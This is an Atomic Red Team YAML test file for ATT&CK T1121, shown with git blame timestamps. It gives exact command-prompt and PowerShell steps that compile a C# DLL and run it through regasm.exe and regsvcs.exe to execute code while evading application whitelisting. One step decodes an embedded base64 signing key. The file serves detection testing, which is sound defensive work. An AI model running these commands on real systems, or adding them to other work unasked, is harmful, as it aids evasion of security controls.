Files
atomic-red-team/atomics/T1121/T1121.yaml
T

53 lines
2.4 KiB
YAML
Raw Normal View History

---
2018-05-12 23:28:01 +02:00
attack_technique: T1121
display_name: RegSvcs/RegAsm
atomic_tests:
- name: Regasm Uninstall Method Call Test
description: |
Executes the Uninstall Method, No Admin Rights Required
supported_platforms:
- windows
input_arguments:
2018-09-04 20:44:37 -06:00
file_name:
2018-05-12 23:28:01 +02:00
description: Location of the payload
type: Path
default: T1121.dll
2018-09-04 20:44:37 -06:00
source_file:
description: Location of the CSharp source_file
type: Path
default: C:\AtomicRedTeam\atomics\T1121\src\T1121.cs
2018-05-12 23:28:01 +02:00
executor:
name: command_prompt
2019-09-03 07:34:42 -06:00
elevation_required: false
2018-05-12 23:28:01 +02:00
command: |
2018-09-04 20:44:37 -06:00
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library #{source_file}
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{file_name}
2018-09-05 06:15:36 -06:00
del #{file_name}
2018-05-12 23:28:01 +02:00
- name: Regsvs Uninstall Method Call Test
description: |
Executes the Uninstall Method, No Admin Rights Required, Requires SNK
supported_platforms:
- windows
input_arguments:
2018-09-04 20:44:37 -06:00
file_name:
2018-05-12 23:28:01 +02:00
description: Location of the payload
type: Path
default: T1121.dll
2018-09-04 20:44:37 -06:00
source_file:
description: Location of the CSharp source_file
type: Path
default: C:\AtomicRedTeam\atomics\T1121\src\T1121.cs
2018-05-12 23:28:01 +02:00
executor:
name: powershell
2019-09-03 07:34:42 -06:00
elevation_required: false
2018-05-12 23:28:01 +02:00
command: |
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
2018-09-04 20:44:37 -06:00
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /keyfile:key.snk #{source_file}
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe #{file_name}
del #{file_name}
2018-09-04 20:40:31 -06:00
del key.snk